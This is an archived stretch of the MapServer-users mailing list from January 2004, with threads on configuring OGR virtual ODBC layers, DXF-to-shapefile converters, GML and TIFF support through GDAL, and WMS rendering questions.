>>> -> "FMEObjects Gateway" (readonly)
>>>
>>> D:\WebScripts\MapServer>ogrinfo
>>> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>>> ERROR 4: Update access not supported for VRT datasources.
>>> Had to open data source read-only.
>>> INFO: Open of
>>> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>> using driver `VRT' successful.
>>> 1: MGWI_TBLLOC (Point)
>>>
>>> When I execute Mapserver I got the following message:
>>> msDrawMap(): Image handling error. Failed to draw layer named
>>
>> 'MGWI_TBLLOC'.
>>
>>> msOGRFileOpen(): OGR error. Open failed for OGR connection  
>>> `mgwi.ovf'.
> File
>>> not found or unsupported format.
>>>
>>>
>>>
>>> Thanks for the help
>>>
>>> H?ryk
>>>
>>>
>>>
>>> -----Message d'origine-----
>>> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>>> Envoy? : Wednesday, January 21, 2004 5:26 PM
>>> ? : Julien, Heryk
>>> Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>> Anctil, Martin
>>> Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>>> Connectiontype)
>>>
>>>
>>> Julien,
>>>
>>> Just because I do not know all the steps you have done, can you tell  
>>> me
>>> if you were able to have some output form "ogrinfo" command?
>>>
>>> Norm
>>>
>>> Julien, Heryk wrote:
>>>
>>>
>>>
>>>
>>>> Hi Paul,
>>>> What do I write in the virtual file SrcDataSource tag when I log on  
>>>> a
>>>>
>>>>
>>>
>>> Access
>>>
>>>
>>>
>>>> db with no user restrictions and pass word?
>>>> I've tried the following combinations without success:
>>>>
>>>> ODBC:MGWI_MAPSERVER
>>>> ODBC:@MGWI_MAPSERVER
>>>> ODBC:/@MGWI_MAPSERVER
>>>> ODBC:administor/@MGWI_MAPSERVER
>>>> ODBC:administeur/@MGWI_MAPSERVER
>>>>
>>>> Thanks
>>>> H?ryk
>>>>
>>>>
>>>> -----Message d'origine-----
>>>> De : Paul Spencer [mailto:pagameba at magma.ca]
>>>> Envoy? : Wednesday, January 21, 2004 1:43 PM
>>>> ? : Julien, Heryk
>>>> Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>>> Anctil, Martin
>>>> Objet : [Mapserver-users] Re: VirtualSpatialData (OGR  
>>>> Connectiontype)
>>>>
>>>>
>>>> I believe there is a limitation in the OGR OBDC connection that  
>>>> requires
>>>> that you provide a user name and password in the OVF file (I think  
>>>> that
>>>> is mentioned in the wiki also).
>>>>
>>>> Cheers,
>>>>
>>>> Paul
>>>>
>>>> Julien, Heryk wrote:
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>> Hi,
>>>>> I'm trying out the Virtual Spatial Data procedure in MapServerWiki
>>>>> (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData)  
>>>>> with
>>
>> IIS
>>
>>>>> and an Access 2000 ODBC connection.
>>>>>
>>>>> I keep on getting the following error message when I attempt ton  
>>>>> see my
>>>>>
>>>>>
>>>>>
>>>>>
>>>>
>>>> map:
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>> msDrawMap(): Image handling error. Failed to draw layer named
>>>>>
>>>>>
>>>>>
>>>>>
>>>>
>>>> 'MGWI_TBLLOC'.
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>> msOGRFileOpen(): OGR error. Open failed for OGR connection  
>>>>> `mgwi.ovf'.
>>>>>
>>>>>
>>>>>
>>>>>
>>>>
>>>> File
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>> not found or unsupported format.
>>>>>
>>>>> Anyone can help me?
>>>>>
>>>>>
>>>>>
>>>>> Here is my virtual file (mgw.ovf):
>>>>>
>>>>> 
>>>>>  
>>>>>      ODBC:MGWI_MAPSERVER
>>>>> 	tblloc
>>>>> 	wkbPoint
>>>>> 	
>>>>> 	
>>>>>  
>>>>> 
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> My virtual layer is in the same directory as my shapefiles:
>>>>>
>>>>> SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> Here is the section of my mapfile where I call my virtual layer:
>>>>>
>>>>> LAYER
>>>>> 	NAME "MGWI_TBLLOC"
>>>>> 	TYPE POINT
>>>>> 	CONNECTIONTYPE OGR
>>>>> 	CONNECTION "mgwi.ovf"
>>>>> 	DATA "MGWI_TBLLOC"
>>>>> 	STATUS DEFAULT
>>>>> 	LABELITEM "LOCID"
>>>>> 	PROJECTION
>>>>> 		"init=epsg:26920"
>>>>> 	END #projection
>>>>> 	CLASS
>>>>> 		SYMBOL 'circle'
>>>>> 		SIZE 8
>>>>> 		LABEL
>>>>> 			COLOR 132 31 31
>>>>> 			SHADOWCOLOR 218 218 218
>>>>> 			SHADOWSIZE 2 2
>>>>> 			TYPE TRUETYPE
>>>>> 			FONT arial-bold
>>>>> 			FORCE true
>>>>> 			SIZE 10
>>>>> 			POSITION auto
>>>>> 			PARTIALS FALSE
>>>>> 			MINDISTANCE 0
>>>>> 			BUFFER 2
>>>>> 		END # end of label
>>>>> 	    TEMPLATE
>>>>> "d: 
>>>>> \webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.h 
>>>>> tm
> l
>>
>> "
>>
>>>>> 	END # CLASS
>>>>> END # LAYER
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> ==========================================
>>>>> H?ryk
>>>>> NRCan
>>>>>
>>>>> -----Message d'origine-----
>>>>> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>> Envoy? : Wednesday, January 14, 2004 8:44 AM
>>>>> ? : 'spencer at dmsolutions.ca'
>>>>> Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>> Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
>>>>>
>>>>>
>>>>> Thanks
>>>>>
>>>>> H?ryk
>>>>>
>>>>> -----Message d'origine-----
>>>>> De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>> Envoy? : Tuesday, January 13, 2004 5:00 PM
>>>>> ? : Julien, Heryk
>>>>> Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
>>>>> Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
>>>>>
>>>>>
>>>>> Maybe you missed it?
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>
>>>> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/ 
>>>> msg00111.ht
> m
>>
>> l
>>
>>>>
>>>>
>>>>
>>>>
>>>>> Cheers,
>>>>>
>>>>> Paul
>>>>>
>>>>> Julien, Heryk wrote:
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>> Hi Paul,
>>>>>> Could you send me or post information on the "new format in
>>>>>> OGR to set up a virtual layer that can draw columns from any ODBC  
>>>>>> data
>>>>>> source and map two of the columns to x and y locations"?
>>>>>>
>>>>>> Thanks
>>>>>> H?ryk
>>>>>>
>>>>>> -----Message d'origine-----
>>>>>> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>>> Envoy? : Monday, January 05, 2004 9:23 AM
>>>>>> ? : 'spencer at dmsolutions.ca'
>>>>>> Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>>> Objet : RE: [Mapserver-users] MySQL and Mapserver
>>>>>>
>>>>>>
>>>>>> Hi,
>>>>>> I am also very interseted in that fonction. I would like to be  
>>>>>> able to
>>>>>>
>>>>>>
>>>
>>> map
>>>
>>>
>>>
>>>>>> well positions from a database x and y colums. Would this permit  
>>>>>> me to
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>
>>>>> have
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>> an up to date point geometry layer which reflects the changes in  
>>>>>> my
> well
>>>>>> database? Can you send me more details?
>>>>>>
>>>>>> Thanks
>>>>>>
>>>>>> H?ryk
>>>>>> NRCan
>>>>>>
>>>>>> -----Message d'origine-----
>>>>>> De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>>> Envoy? : Saturday, January 03, 2004 4:28 PM
>>>>>> ? : bartvde at xs4all.nl
>>>>>> Cc : mapserver-users at lists.gis.umn.edu
>>>>>> Objet : Re: [Mapserver-users] MySQL and Mapserver
>>>>>>
>>>>>>
>>>>>> Bart,
>>>>>>
>>>>>> if you are interested in point geometries only, there is a new  
>>>>>> format
> in
>>
>>
>>>>>> OGR to set up a virtual layer that can draw columns from any ODBC  
>>>>>> data
>>>>>> source and map two of the columns to x and y locations.  We've  
>>>>>> used it
>>>>>> for a couple of clients and it works very nicely.  If you are
> interested
>>
>>
>>>>>> I can send you more details.
>>>>>>
>>>>>> Cheers,
>>>>>>
>>>>>> Paul
>>>>>>
>>>>>> Bart van den Eijnden wrote:
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>> Hi list,
>>>>>>>
>>>>>>> I see in the history log that there has been some work done  
>>>>>>> recently
>>>>>>> (early December) by Attila on supporting MySQL 4.X for the MyGIS
>>>>>>> connector. Can it be used already?
>>>>>>>
>>>>>>> Also, is it possible to keep the geometries in shapefiles and use
>>>>>>> Mapserver JOINS to link to tables in MySQL?
>>>>>>>
>>>>>>> Thanks in advance for the info.
>>>>>>>
>>>>>>> Best regards,
>>>>>>> Bart
>>>>>>> _______________________________________________
>>>>>>> Mapserver-users mailing list
>>>>>>> Mapserver-users at lists.gis.umn.edu
>>>>>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>
>>>>
>>>>
>>>>
>>>
>>>
>>> _______________________________________________
>>> Mapserver-users mailing list
>>> Mapserver-users at lists.gis.umn.edu
>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>> _______________________________________________
>>> Mapserver-users mailing list
>>> Mapserver-users at lists.gis.umn.edu
>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>>
>>>
>>
>>
>>
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>
>
> -- 
>   -----------------------------------------------------------------
> |Paul Spencer                           spencer at dmsolutions.ca    |
> |-----------------------------------------------------------------|
> |Applications & Software Development                              |
> |DM Solutions Group Inc                 http://www.dmsolutions.ca/|
>   -----------------------------------------------------------------
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From MICHAEL.WALSH at cubic.com  Fri Jan 23 07:19:52 2004
From: MICHAEL.WALSH at cubic.com (Walsh, Mike)
Date: Fri, 23 Jan 2004 07:19:52 -0800
Subject: [Mapserver-users] DXF to .shp
Message-ID: 

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3E1C4.59385710
Content-Type: text/plain

Does anyone know of a free .dxf to .shp converter?
 
Thanks,
 
mwalsh

------_=_NextPart_001_01C3E1C4.59385710
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






















Does anyone know of a free .dxf to
.shp =
converter?



 



Thanks,



 



mwalsh









------_=_NextPart_001_01C3E1C4.59385710--


From warmerdam at pobox.com  Fri Jan 23 07:20:51 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Fri, 23 Jan 2004 10:20:51 -0500
Subject: [Mapserver-users] Mapserver and GML.
In-Reply-To: <34963.62.49.2.61.1074855560.squirrel@www.andrewlarcombe.uklinux.net>
References: <34963.62.49.2.61.1074855560.squirrel@www.andrewlarcombe.uklinux.net>
Message-ID: <40113BD3.6060905@pobox.com>

Andrew Larcombe wrote:
> Hello all.
> 
> I have some questions about the use of GML within Mapserver. I am going to
> produce a schema for some data which contains geographical data. I
> understand that Mapserver uses OGR to read GML and I've read Frank
> Warmedam's "Practical GML Interoperability" -
> http://gdal.velocet.ca/~warmerda/projects/gml/gml_interop.html - although
> I'm  not sure how old and still relevent the document is.
> 
> My questions basically boil down to: 1. Which versions of GML does
> Mapserver support? 

Andrey,

The GDAL/OGR library essentially supports GML 2 (though relatively simple
GML 3 files should work too).  Note that GML *generation* from MapServer
goes through a completely different mechanism, so I am just speaking about
GML consumption by MapServer via GDAL/OGR.


 > 2. Can I use 3-d coordinates, and if so how are these handled?

OGR should have no problem consuming 3D GML data.  However, I am not
aware of any meaningful way to make use of the Z coordinates in MapServer.

> 3. Can I use the Mapserver CLASS to select a subset of records
> within the GML to display?

Yes.  All recognised attributes from the GML file should be carried through
for normal processing in mapserver.  I would suggest you use "ogrinfo" to
show you what OGR sees in your GML file (layers, attribute names, etc).  Then
construct classes, filters and so on accordingly.  You should also read over
the MapServer OGR HOWTO if you haven't already.

PS. The Practical GML Interoperability document isn't particularly refined,
nor does it reflect current OGR operation all that closely.

Good luck,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From warmerdam at pobox.com  Fri Jan 23 07:24:13 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Fri, 23 Jan 2004 10:24:13 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
In-Reply-To: <06B403677C41D51194550002A55107D201F79004@s5-stf1-r1.nrn.nrcan.gc.ca>
References: <06B403677C41D51194550002A55107D201F79004@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <40113C9D.1020602@pobox.com>

Julien, Heryk wrote:
> Hi,
> I tried it and I don't get the table content!
> 
> Firt try:
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
> 
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 1: MGWI_TBLLOC (Point)
> 
> 
> 
> Second try with the table name:
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf tblloc
> 
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 
> 
> 
> The table doesn't seem to be coming through! Any idea?
> 
> I tried the new build that Paul made available this morning and I get the
> same problem! 

Hi,

I'm not sure if I missed some of the email on this thread (it is pretty
overwhelming!) but you didn't use the correct table name in your ogrinfo
query.  When you ran ogrinfo without the layer name you got "1: MGWI_TBLLOC
(Point)" as the result.  The "MGWI_TBLLOC" portion of this is the layer
name.  So you should use it, not TBLLOC as the layer name in your ogrinfo
query:

Good luck,
-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From warmerdam at pobox.com  Fri Jan 23 07:31:28 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Fri, 23 Jan 2004 10:31:28 -0500
Subject: [Mapserver-users] GDAL, TIFF, JPEG Question
In-Reply-To: <20040122215935.644.qmail@hm47.locaweb.com.br>
References: <200401221449.16582.nacional@cbs.umn.edu> <20040122215935.644.qmail@hm47.locaweb.com.br>
Message-ID: <40113E50.8080300@pobox.com>

Eduardo Patto Kanegae wrote:
> Hi perry,
> 
> this a very good comment....
> 
> I've just compiled one that gets:
> 
> MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
> OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE
> SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
> SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=TIFF
> INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
> 
> and had never stop to think about that TIFF and JPEG support can be replaced by GDAL....
> 
> you mean that MapServer can be a bigger or more "fat" binany if I use GDAL with TIFF and JPEG?

Eduardo,

Normally having JPEG and TIFF built into mapserver as well as available in
GDAL doesn't make things much bigger if they share external libjpeg and
libgeotiff shared libraries.  The main reason to avoid the internal versions
of the TIFF and JPEG support in mapserver is that they are less featureful
than the support via GDAL.

However, I haven't pushed to strip them out of mapserver because a mapserver
without GDAL is *much* lighter than one with it, and that may be important to
some users.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From warmerdam at pobox.com  Fri Jan 23 07:41:58 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Fri, 23 Jan 2004 10:41:58 -0500
Subject: [Mapserver-users] GDAL, TIFF, JPEG Question
In-Reply-To: <200401221449.16582.nacional@cbs.umn.edu>
References: <200401221449.16582.nacional@cbs.umn.edu>
Message-ID: <401140C6.3060701@pobox.com>

Pericles S. Nacionales wrote:
> What exactly are the problems that come up when TIFF and JPEG libs are 
> compiled together with GDAL?  I know MapServer gets confused when reading 
> TIFF/GeoTIFF images.  Are there others?

Peri,

The built-in TIFF support does not work well for some kinds of TIFF files.
For instance, tiled files and RGB TIFF files don't work with the built-in
mapserver code.

My suggestion is that we modify the MapServer configuration scripts so that
by default if GDAL support is enabled that built-in TIFF and JPEG support
will be disabled.  There isn't really any significant advantage to them
except when people are building "light" versions of mapserver without GDAL.

Any objections to my making that change folks?

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From andrew at redink.demon.co.uk  Fri Jan 23 07:46:06 2004
From: andrew at redink.demon.co.uk (Andrew Larcombe)
Date: Fri, 23 Jan 2004 15:46:06 -0000 (GMT)
Subject: [Mapserver-users] Mapserver and GML.
In-Reply-To: <40113BD3.6060905@pobox.com>
References: <34963.62.49.2.61.1074855560.squirrel@www.andrewlarcombe.uklinux.net>
 <40113BD3.6060905@pobox.com>
Message-ID: <40771.62.49.2.61.1074872766.squirrel@www.andrewlarcombe.uklinux.net>

> Andrew Larcombe wrote:
> The GDAL/OGR library essentially supports GML 2 (though relatively simple
> GML 3 files should work too).  Note that GML *generation* from MapServer
> goes through a completely different mechanism, so I am just speaking about
> GML consumption by MapServer via GDAL/OGR.
>
>
>  > 2. Can I use 3-d coordinates, and if so how are these handled?
>
> OGR should have no problem consuming 3D GML data.  However, I am not
> aware of any meaningful way to make use of the Z coordinates in MapServer.
>
>> 3. Can I use the Mapserver CLASS to select a subset of records
>> within the GML to display?
>
> Yes.  All recognised attributes from the GML file should be carried
> through
> for normal processing in mapserver.  I would suggest you use "ogrinfo" to
> show you what OGR sees in your GML file (layers, attribute names, etc).
> Then
> construct classes, filters and so on accordingly.  You should also read
> over
> the MapServer OGR HOWTO if you haven't already.
>
> PS. The Practical GML Interoperability document isn't particularly
> refined,
> nor does it reflect current OGR operation all that closely.

Frank,

Many thanks for your help. From your answers it sounds very encouraging.

Andrew




From stephen.clark at focus.ca  Fri Jan 23 09:10:41 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Fri, 23 Jan 2004 09:10:41 -0800
Subject: [Mapserver-users] DXF to .shp
References: 
Message-ID: <006c01c3e1d3$d4a29640$6c000a0a@sclark>

This is a multi-part message in MIME format.

------=_NextPart_000_0069_01C3E190.C637C5F0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

you could try the 2 week version of FME from www.safe.com if it is a one =
time translation.
  ----- Original Message -----=20
  From: Walsh, Mike=20
  To: 'mapserver-users at lists.gis.umn.edu'=20
  Sent: Friday, January 23, 2004 7:19 AM
  Subject: [Mapserver-users] DXF to .shp


  Does anyone know of a free .dxf to .shp converter?

  =20

  Thanks,

  =20

  mwalsh

------=_NextPart_000_0069_01C3E190.C637C5F0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable











you could try the 2 week version of FME =
from www.safe.com if it is a one time=20
translation.



  
----- Original Message ----- 

  From:=20
  Walsh,=20
  Mike 
  
To: 'mapserver-users at list=
s.gis.umn.edu'=20
  

  
Sent: Friday, January 23, 2004 =
7:19=20
  AM

  
Subject: [Mapserver-users] DXF =
to=20
  .shp

  


  

  
Does anyone know of a =
free .dxf to .shp=20
  converter?

  
 

  
Thanks,

  
 

  
mwalsh


------=_NextPart_000_0069_01C3E190.C637C5F0--



From eduardo at consultoria.eti.br  Fri Jan 23 08:13:51 2004
From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae)
Date: Fri, 23 Jan 2004 14:13:51 -0200
Subject: [Mapserver-users] compiling against .so or sources? what is better?
Message-ID: <4011483F.6080509@consultoria.eti.br>

What is the diference between compile a feature with its source or with 
its shared object lib ?

eg:

./configure --with-foo=/usr/local/lib # poiting to libfoo.so

 or

./configure --with-foo=/usr/local/foo/src # pointing to foo.h and other 
"foo" C sources...

thanks

-- 
Eduardo Patto Kanegae
+Homepage:http://www.consultoria.eti.br   ( BRASIL )
+Perfil:http://www.consultoria.eti.br/ptbr/epk.php
*F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ - "Discuss?es relacionadas ao MapServer"
*ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do Brasil com dados censit?rios"
***************************************
***Fim da Mensagem / End of Message ***
***************************************



From msmith at sanangelompo.org  Fri Jan 23 08:35:32 2004
From: msmith at sanangelompo.org (Michael Smith)
Date: Fri, 23 Jan 2004 10:35:32 -0600
Subject: [Mapserver-users] jBox
In-Reply-To: <400EE173.8020303@greenwoodmap.com>
Message-ID: <200401231134339.SM01204@PLANGIS>

 That was the problem.  In my map file my image url was set to
"http://192.168.110.1/tmp/" and I change it to "/tmp/".  Thanks so much for
all your help guys.  This list is great.

-----Original Message-----
From: Richard Greenwood [mailto:rich at greenwoodmap.com] 
Sent: Wednesday, January 21, 2004 2:31 PM
To: Michael Smith; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] jBox

Michael Smith wrote:

> Here is what is retured when I do view source:
> 
>           
>           
>                             height="600" name="jBox" MAYSCRIPT>
>               
value="http://192.168.110.1http://192.168.110.1/tmp/Mike10747157561596.gif">
>             
>           
>         
> 
> Any suggestions?

That aint right. It should look like:
    http://192.168.110.1/tmp/Mike10747157561596.gif
in your template it should be EXACTLY:
    http://[host][img]

For some reason the host is getting in there twice.

In your .map file, your IMAGEURL should be "/tmp/"

--
Richard Greenwood
www.greenwoodmap.com



From rich at greenwoodmap.com  Fri Jan 23 08:38:13 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Fri, 23 Jan 2004 09:38:13 -0700
Subject: [Mapserver-users] savequery
In-Reply-To: 
References: 
Message-ID: <40114DF5.90803@greenwoodmap.com>

Richie Pierce wrote:

>Thanks, I figured it out.  I was passing a savequery=true in my initial
>page.  And also had one in my landing page.  I suspected that it was
>over writing the original one and when I removed it, it works fine now.
>It did get me to another problem.
>
>  When I turn on a layer after I run the first query.  How can I make
>that layer visible all the time.  Is it possible to use check boxes
>instead of a layer list like the demo uses without having to do a lot of
>PHP coding?
>  
>
It would probably be best to start a new thread with a new subject line 
for this question.

If you want a layer to ALWAYS be on, simply set the status=default in 
your .map file.

If you want to use check boxes, check out the documentation for HTML 
legends, they are pretty slick.

And lastly, you probably would not code check boxes with PHP unlesss you 
were using PHP MapScript, because PHP is a server language. Since you 
are using CGI, you would manage your check boxes on the client (browser) 
side with JavaScript.

Regards,

-- 
Richard Greenwood
www.greenwoodmap.com




From eric.sokolowsky at gsfc.nasa.gov  Fri Jan 23 08:41:33 2004
From: eric.sokolowsky at gsfc.nasa.gov (Eric Sokolowsky)
Date: Fri, 23 Jan 2004 11:41:33 -0500 (EST)
Subject: [Mapserver-users] WMS server image black padding and aspect ratio
Message-ID: 

I am running mapserver 4.0.1 but this aspect also appears with the 
version in CVS.  I am using mapserver as a WMS server on a Red Hat Linux 9
system.  When I request an image that is not the same aspect ratio as
the original image on the server, it seems that the image I get is
not stretched so that it fills the entire frame.  The aspect ratio of the
original source is maintained and black bars either appear above and below
or else on both sides, similar to the effect of watching widescreen movies 
on a regular TV.  Is this the intended behavior, and if so, is there a way
to turn it off?


mapserv -v yields:

MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=GDAL INPUT=SHAPEFILE

My version from CVS yields (I have used the same settings to compile it as 
above):

MapServer version 4.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=GDAL INPUT=SHAPEFILE

-- 
    ____   __     Eric Sokolowsky    (GST)  NASA Goddard Space Flight Center 
   / __/__/_/__  Visualization Programmer    Scientific Visualization Studio
  / __/ _/ / _/ 301.286.3751                  Mailstop 935.0 Bldg 28 Rm E102
 /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov   Greenbelt, MD 20771



From wim.blanken at planet.nl  Fri Jan 23 09:17:00 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Fri, 23 Jan 2004 18:17:00 +0100
Subject: [Mapserver-users] DXF to .shp
References: 
Message-ID: <004b01c3e1d4$dc3ff040$6400a8c0@BLANKEN>

This is a multi-part message in MIME format.

--Boundary_(ID_Lj24P/m2Lz3HukaaXuX9WA)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

I always use CAD2SHAPE from Guthrie.
It is not free software but not really expensive and very good at its task. ($109 )

http://www.rockware.com

Wim Blanken
The Netherlands
----- Original Message ----- 
  From: Walsh, Mike 
  To: 'mapserver-users at lists.gis.umn.edu' 
  Sent: Friday, January 23, 2004 4:19 PM
  Subject: [Mapserver-users] DXF to .shp


  Does anyone know of a free .dxf to .shp converter?

   

  Thanks,

   

  mwalsh


--Boundary_(ID_Lj24P/m2Lz3HukaaXuX9WA)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: 7BIT











I always use CAD2SHAPE from 
Guthrie.


It is not free software but not really expensive 
and very good at its task. ($109 )


 



 


Wim Blanken


The Netherlands


----- Original Message ----- 



  
  
  
Sent: Friday, January 23, 2004 4:19 
  PM

  
Subject: [Mapserver-users] DXF to 
  .shp

  


  

  
Does anyone know of a free .dxf to .shp 
  converter?

  
 

  
Thanks,

  
 

  
mwalsh


--Boundary_(ID_Lj24P/m2Lz3HukaaXuX9WA)--


From MICHAEL.WALSH at cubic.com  Fri Jan 23 10:07:56 2004
From: MICHAEL.WALSH at cubic.com (Walsh, Mike)
Date: Fri, 23 Jan 2004 10:07:56 -0800
Subject: [Mapserver-users] DXF to shp
Message-ID: 

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3E1DB.D3F9D980
Content-Type: text/plain

Thank you for your replies. Do any of the known apps; ArcInfo, FME,
CAD2SHAPE
Allow the user to place geospecific info into the shp file - even if the
original dxf input
File has none?

------_=_NextPart_001_01C3E1DB.D3F9D980
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






















Thank you for your replies. Do any of the known =
apps; ArcInfo, FME, =
CAD2SHAPE



Allow the user to place geospecific info into the =
shp file -
even if the original dxf =
input



File has none?









------_=_NextPart_001_01C3E1DB.D3F9D980--


From morissette at dmsolutions.ca  Fri Jan 23 10:12:08 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Fri, 23 Jan 2004 13:12:08 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
In-Reply-To: <40113A95.2020101@pobox.com>
References: <3BCB64E6682DD24FB29B7135263B0C6C2006@vamerrifms01.gsm1900.org> <40113A95.2020101@pobox.com>
Message-ID: <401163F8.8070101@dmsolutions.ca>

Frank Warmerdam wrote:
> 
> This is something I would dearly like to fix in MapServers' windows 
> build structure,
> but to accomplish it (practically speaking) we almost need to rewrite the
> mapogr.cpp module to use the OGR C API and to reexamine the use of some 
> of the
> style related definitions in mapogr.cpp.  The use of static OGR 
> libraries in
> MapServer causes me no end of headaches.
> 

FYI I've filed a bug about this so that we don't froget the idea:
http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=545

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From pramsey at refractions.net  Fri Jan 23 10:24:43 2004
From: pramsey at refractions.net (Paul Ramsey)
Date: Fri, 23 Jan 2004 10:24:43 -0800
Subject: [Mapserver-users] Mapscript DSO
Message-ID: <200401231024.43618.pramsey@refractions.net>

Sorry, this must be a FAQ, if it is not, it should be.

